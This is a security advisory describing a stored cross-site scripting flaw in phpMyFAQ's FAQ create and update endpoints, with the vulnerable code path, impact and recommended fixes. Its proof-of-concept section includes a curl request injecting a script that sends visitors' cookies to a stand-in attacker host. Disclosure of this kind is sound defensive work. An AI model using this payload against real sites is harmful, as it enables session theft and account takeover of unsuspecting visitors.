Server side cross-site scripting In phpmyfaq/phpmyfaq
Description
phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization
Summary
The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.
Details
Vulnerable code path (FAQ create — FaqController.php):
At line 120, the answer content is filtered:
$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.
At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:
->setAnswer(Filter::removeAttributes(html_entity_decode( (string) $content, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', )))
html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.
The identical pattern exists in the update endpoint at lines 389-398.
Rendering sink (faq.twig):
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2> <article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>
The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.
Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.
PoC
Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.
Step 1: Create a malicious FAQ
curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=<admin_session>' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "Harmless FAQ Title", "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",...
Expected response: 200 OK with the new FAQ ID.
Step 2: Verify XSS execution
Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.
Impact
Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.
Recommended Fix
Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.
Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):
public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html); $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html); }...
Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:
use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; $config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object')...
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
packagist | 4.1.2 | ||
packagist | 4.1.2 |
Aliases
References